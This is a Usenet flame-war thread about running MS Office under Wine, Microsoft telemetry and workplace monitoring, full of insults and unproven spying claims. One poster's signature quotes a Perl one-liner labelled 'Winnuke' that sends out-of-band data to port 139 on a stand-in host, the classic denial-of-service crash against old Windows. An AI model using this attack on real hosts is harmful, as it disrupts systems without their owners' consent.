On 11/27/2024 3:15 PM, Joel wrote:
> DFS <guhnoo-basher@linux.advocaca> wrote:
>
>> They've been working on it for 30+ years and making blanket claims about
>> its capabilities, but the fact that there are 5 levels of compatibility
>> ranking means it's a big fail.
>>
>> Last time I tried it, wine would add an entry to 'Open With' every time
>> I clicked on an MS Office file.
>>
>> https://imgur.com/a/gylQQOg
>
>
> Using any kind of recent Office version under Wine is not gonna work.

Why? They say all Windows apps work:

"allowing you to cleanly integrate Windows applications into your desktop."

> But that's the whole thing, you have to divorce yourself from
> Winblows, including Office,

It's time for you to file for divorce, instead of acting like a battered
wife and badmouthing your ex.

> be a man, use something other than M$.

ha! Guess which lying cola asshole said this: "the REAL man uses Linux
ONLY."

Don't be a dreadful cola asshole like him.

DFS <guhnoo-basher@linux.advocaca> wrote:

>>> They've been working on it [Wine] for 30+ years and making blanket claims about
>>> its capabilities, but the fact that there are 5 levels of compatibility
>>> ranking means it's a big fail.
>>>
>>> Last time I tried it, wine would add an entry to 'Open With' every time
>>> I clicked on an MS Office file.
>>>
>>> https://imgur.com/a/gylQQOg
>>
>> Using any kind of recent Office version under Wine is not gonna work.
>
>Why? They say all Windows apps work:
>
>"allowing you to cleanly integrate Windows applications into your desktop."

Just yesterday, Agent crashed when I tried to download Larry's video
from abm.transformation, I had forgotten I installed Pan for binaries
because of that quirk with Wine. So best of luck with M$ Office newer
than 2016 (I was told by Copilot it works under Wine).

>> But that's the whole thing, you have to divorce yourself from
>> Winblows, including Office,
>
>It's time for you to file for divorce, instead of acting like a battered
>wife and badmouthing your ex.
>
>> be a man, use something other than M$.
>
>ha! Guess which lying cola asshole said this: "the REAL man uses Linux
>ONLY."
>
>Don't be a dreadful cola asshole like him.

OK, keep tolerating M$'s abuse.

--
Joel W. Crump

Amendment XIV
Section 1.

[...] No state shall make or enforce any law which shall
abridge the privileges or immunities of citizens of the
United States; nor shall any state deprive any person of
life, liberty, or property, without due process of law;
nor deny to any person within its jurisdiction the equal
protection of the laws.

Dobbs rewrites this, it is invalid precedent. States are
liable for denying needed abortions, e.g. TX.

On 11/28/2024 8:54 AM, shitv wrote:

> Those wacky folks at Micro$oft consider spyware to be part of the
> operating system.

How do you know they're spying on you?

What info are they collecting without your knowledge?

Now slink away, defeated as always.

DFS <guhnoo-basher@linux.advocaca> wrote:
>On 11/28/2024 8:54 AM, shitv wrote:
>
>> Those wacky folks at Micro$oft consider spyware to be part of the
>> operating system.
>
>How do you know they're spying on you?
>
>What info are they collecting without your knowledge?
>
>
>Now slink away, defeated as always.

You snipped this from his sig:

"Only in the brain of [chrisv] does telemetry == spying." - DumFSck,
lying shamelessly

You might work around that by saying it's "with one's knowledge", but
that's the whole fucking point, you don't really have a choice. You
can consent or not, they're going to do it anyway. That's M$
Winblows. And you're peachy with that.

--
Joel W. Crump

Amendment XIV
Section 1.

[...] No state shall make or enforce any law which shall
abridge the privileges or immunities of citizens of the
United States; nor shall any state deprive any person of
life, liberty, or property, without due process of law;
nor deny to any person within its jurisdiction the equal
protection of the laws.

Dobbs rewrites this, it is invalid precedent. States are
liable for denying needed abortions, e.g. TX.

Le 27-11-2024, Joel <joelcrump@gmail.com> a écrit :
>
> Trust me, I wouldn't have given it to you in the first place, if there
> were a chance I'd change my mind. I paid $200 for it. But that's a
> write-off, now, because I have no purpose for it, not even a VM.
> Please do use it.

I have to admit that I was wrong when I said you'd be back to Windows
very soon. You stay with Linux much longer than I supposed.

--
Si vous avez du temps à perdre :
https://scarpet42.gitlab.io

Le 29-11-2024, DFS <guhnoo-basher@linux.advocaca> a écrit :
> On 11/28/2024 8:54 AM, shitv wrote:
>
>
>> Those wacky folks at Micro$oft consider spyware to be part of the
>> operating system.
>
>
> How do you know they're spying on you?
>
> What info are they collecting without your knowledge?

Putting spyware doesn't imply that they spy on you. They can give the
tools to others to spy on you. And the fact is: they do. I know an
adminsys who told me it's very impressive what an adminsys can know
about everything done by the users. A manager can ask an adminsys to
tell him anything someone did with his computer: it comes by default and
it is really easy to use.

--
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https://scarpet42.gitlab.io

Stéphane CARPENTIER wrote this post while blinking in Morse code:

> Le 29-11-2024, DFS <guhnoo-basher@linux.advocaca> a écrit :
>> On 11/28/2024 8:54 AM, shitv wrote:
>>
>>> Those wacky folks at Micro$oft consider spyware to be part of the
>>> operating system.
>>
>> How do you know they're spying on you?
>>
>> What info are they collecting without your knowledge?

Try running Wireshark for awhile.

> Putting spyware doesn't imply that they spy on you. They can give the
> tools to others to spy on you. And the fact is: they do. I know an
> adminsys who told me it's very impressive what an adminsys can know
> about everything done by the users. A manager can ask an adminsys to
> tell him anything someone did with his computer: it comes by default and
> it is really easy to use.

I ran Wireshark at work once to try to figure out the Cisco crapware they used
to verify that the machine was "approved" (they supported Windows and OSX).
I saw it would be impossible to replicate on Linux.

Later, of course, the Company blacklisted Wireshark :-D

And trashed my Linux partition :-D :-D :-D

--
Winnuke in one line? No problem:
perl -MIO::Socket -e 'IO::Socket::INET->new(PeerAddr=>"bad.dude.com:139")->send("bye",MSG_OOB)'
And formatted so it's a little easier to read:
#!/usr/bin/perl
use IO::Socket;
IO::Socket::INET
->new(PeerAddr=>"bad.dude.com:139")
->send("bye", MSG_OOB);
-- Randal Schwartz

Le 30-11-2024, Chris Ahlstrom <OFeem1987@teleworm.us> a écrit :
> Later, of course, the Company blacklisted Wireshark :-D
>
> And trashed my Linux partition :-D :-D :-D

That's something I can understand.

First running whireshark can give you a lot of information about your
company's network. Probably more than you need to have for your work.
So, they have to protect themselves from you. Because you can change
company in your future new company can be interested in the data you can
have from your former company.

Second, they are legally responsible of what you do when you are paid by
them. So, if you have a partition they are unable to see, on which you
can have illegal stuff, they have to protect themselves from you.

So, I see nothing wrong with that. When you work for a company, you have
to comply to their rules. Or change your company if you don't like their
rules. But I find nothing wrong with you both sentences. If your work
requires either wireshark or a Linux partition, you can see with them
and they'll let you have any of them. If wireshark or a Linux partition
is not require but only useful, you can explain why you'll be less
productive and everything is fine.

I know LP/FR/DG/whatever has no idea about the usefulness of security,
but security is always a compromise between usability and protection.
You'll have to find where you can put the cursor with your
manager/security team. Sometimes, you'll find you just can't do
something for security reasons. If your need is more important than
security, you'll have to find how to do it with the minimum risks
involved.

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Stéphane CARPENTIER <sc@fiat-linux.fr> wrote:

>> Trust me, I wouldn't have given it [Windows Pro key] to you [DFS] in the first place, if there
>> were a chance I'd change my mind. I paid $200 for it. But that's a
>> write-off, now, because I have no purpose for it, not even a VM.
>> Please do use it.
>
>I have to admit that I was wrong when I said you'd be back to Windows
>very soon. You stay with Linux much longer than I supposed.

I always will.

--
Joel W. Crump

Amendment XIV
Section 1.

[...] No state shall make or enforce any law which shall
abridge the privileges or immunities of citizens of the
United States; nor shall any state deprive any person of
life, liberty, or property, without due process of law;
nor deny to any person within its jurisdiction the equal
protection of the laws.

Dobbs rewrites this, it is invalid precedent. States are
liable for denying needed abortions, e.g. TX.

On 11/29/2024 12:51 PM, Joel wrote:
> DFS <guhnoo-basher@linux.advocaca> wrote:
>> On 11/28/2024 8:54 AM, shitv wrote:
>>
>>> Those wacky folks at Micro$oft consider spyware to be part of the
>>> operating system.
>>
>> How do you know they're spying on you?
>>
>> What info are they collecting without your knowledge?
>>
>>
>> Now slink away, defeated as always.
>
>
> You snipped this from his sig:
>
> "Only in the brain of [chrisv] does telemetry == spying." - DumFSck,
> lying shamelessly

shitv is an idiot.

> You might work around that by saying it's "with one's knowledge", but
> that's the whole fucking point, you don't really have a choice.

You have the choice to not use Windows if you don't like their data
collection policies.

I don't like that they extract anything whatsoever from my computer:
it's none of their business. Or that they try to make you sign in to an
MS account just to login to your damn computer.

It's conceivable there could come a day when I won't tolerate some MS
policy or another, and switch to Macs or Linux. Unlikely but possible.

> You can consent or not, they're going to do it anyway.

Prove it.

> That's M$ Winblows. And you're peachy with that.

You're peachy with making up bullshit.

On 11/29/2024 5:57 PM, Stéphane CARPENTIER wrote:
> Le 29-11-2024, DFS <guhnoo-basher@linux.advocaca> a écrit :
>> On 11/28/2024 8:54 AM, shitv wrote:
>>
>>
>>> Those wacky folks at Micro$oft consider spyware to be part of the
>>> operating system.
>>
>>
>> How do you know they're spying on you?
>>
>> What info are they collecting without your knowledge?
>
> Putting spyware doesn't imply that they spy on you. They can give the
> tools to others to spy on you. And the fact is: they do.

Are you talking about at work?

You have zero rights to privacy on your work computer.

https://www.americanbar.org/groups/crsj/publications/human_rights_magazine_home/2013_vol_39/may_2013_n2_privacy/employment_privacy/

And in my opinion you shouldn't expect such rights.

> I know an
> adminsys who told me it's very impressive what an adminsys can know
> about everything done by the users. A manager can ask an adminsys to
> tell him anything someone did with his computer: it comes by default and
> it is really easy to use.

On Linux and Windows and Macs of course.

But what does any of this have to do with shitv's lies about Microsoft
"spying"?

DFS <guhnoo-basher@linux.advocaca> wrote:

>> You might work around that [Microsoft's nefarious practices] by saying it's "with one's knowledge", but
>> that's the whole fucking point, you don't really have a choice.
>
>You have the choice to not use Windows if you don't like their data
>collection policies.
>
>I don't like that they extract anything whatsoever from my computer:
>it's none of their business. Or that they try to make you sign in to an
>MS account just to login to your damn computer.
>
>It's conceivable there could come a day when I won't tolerate some MS
>policy or another, and switch to Macs or Linux. Unlikely but possible.
>
>> You can consent or not, they're going to do it anyway.
>
>Prove it.

The way Win10 20H2 performed on my old computer proves they're up to
no good. Thus, they are guilty until proven otherwise, on any of
these issues.

>> That's M$ Winblows. And you're peachy with that.
>
>You're peachy with making up bullshit.

So you say, but you just admitted they do things even you dislike.

--
Joel W. Crump

Amendment XIV
Section 1.

[...] No state shall make or enforce any law which shall
abridge the privileges or immunities of citizens of the
United States; nor shall any state deprive any person of
life, liberty, or property, without due process of law;
nor deny to any person within its jurisdiction the equal
protection of the laws.

Dobbs rewrites this, it is invalid precedent. States are
liable for denying needed abortions, e.g. TX.

Joel wrote:

> some dumb fsck wrote:
>>
>> chrisv wrote:
>>>
>>> Those wacky folks at Micro$oft consider spyware to be part of the
>>> operating system.
>>
>>How do you know they're spying on you?
>>
>>What info are they collecting without your knowledge?

Not a rebuttal.

>>Now slink away, defeated as always.

lolz.

>You snipped this from his sig:
>
>"Only in the brain of [chrisv] does telemetry == spying." - DumFSck,
>lying shamelessly

The above quote is one of DumFSck's patented "double lies"™. Two lies
within what might first appear to be a single claim. I don't think
that telemetry equals spying (although it obviously can be spying) and
my position regarding Micro$oft's telemetry/spying is (correctly)
shared by many other brains.

>You might work around that by saying it's "with one's knowledge", but
>that's the whole fucking point, you don't really have a choice. You
>can consent or not, they're going to do it anyway. That's M$
>Winblows. And you're peachy with that.

He's a liar and a hypocrite with that.

Le 30-11-2024, DFS <guhnoo-basher@linux.advocaca> a écrit :
>
> It's conceivable there could come a day when I won't tolerate some MS
> policy or another, and switch to Macs or Linux. Unlikely but possible.

There are lots of reasons for switching from Windows to Mac or Linux.
But switching from Windows to Mac because you don't like Microsoft
policy looks really funny to me.

--
Si vous avez du temps à perdre :
https://scarpet42.gitlab.io

Le 30-11-2024, DFS <guhnoo-basher@linux.advocaca> a écrit :
> On 11/29/2024 5:57 PM, Stéphane CARPENTIER wrote:
>> Le 29-11-2024, DFS <guhnoo-basher@linux.advocaca> a écrit :
>>> On 11/28/2024 8:54 AM, shitv wrote:
>>>
>>>
>>>> Those wacky folks at Micro$oft consider spyware to be part of the
>>>> operating system.
>>>
>>>
>>> How do you know they're spying on you?
>>>
>>> What info are they collecting without your knowledge?
>>
>> Putting spyware doesn't imply that they spy on you. They can give the
>> tools to others to spy on you. And the fact is: they do.
>
> Are you talking about at work?

Yes.

> You have zero rights to privacy on your work computer.

In fact, I do.

> https://www.americanbar.org/groups/crsj/publications/human_rights_magazine_home/2013_vol_39/may_2013_n2_privacy/employment_privacy/

I don't care about American law.

> And in my opinion you shouldn't expect such rights.

I'm happy you are not the one making laws in France. The issue is not
about using my computer for personal reasons. The issue is being
monitored by someone who can believe that if I don't use my computer for
one hour it's because I'm not working. Like Musk who believes that the
best programmer is the one who write the most lines of code.

> But what does any of this have to do with shitv's lies about Microsoft
> "spying"?

He didn't literally said that Microsoft was spying, but that spyware
were included in the system. Even he probably imply it. And that's just
what I said.

--
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Stéphane CARPENTIER <sc@fiat-linux.fr> wrote:
>Le 30-11-2024, DFS <guhnoo-basher@linux.advocaca> a écrit :
>>
>> It's conceivable there could come a day when I won't tolerate some MS
>> policy or another, and switch to Macs or Linux. Unlikely but possible.
>
>There are lots of reasons for switching from Windows to Mac or Linux.
>But switching from Windows to Mac because you don't like Microsoft
>policy looks really funny to me.

He's spent decades here, praising M$, now he might abandon them, heh.

--
Joel W. Crump

Amendment XIV
Section 1.

[...] No state shall make or enforce any law which shall
abridge the privileges or immunities of citizens of the
United States; nor shall any state deprive any person of
life, liberty, or property, without due process of law;
nor deny to any person within its jurisdiction the equal
protection of the laws.

Dobbs rewrites this, it is invalid precedent. States are
liable for denying needed abortions, e.g. TX.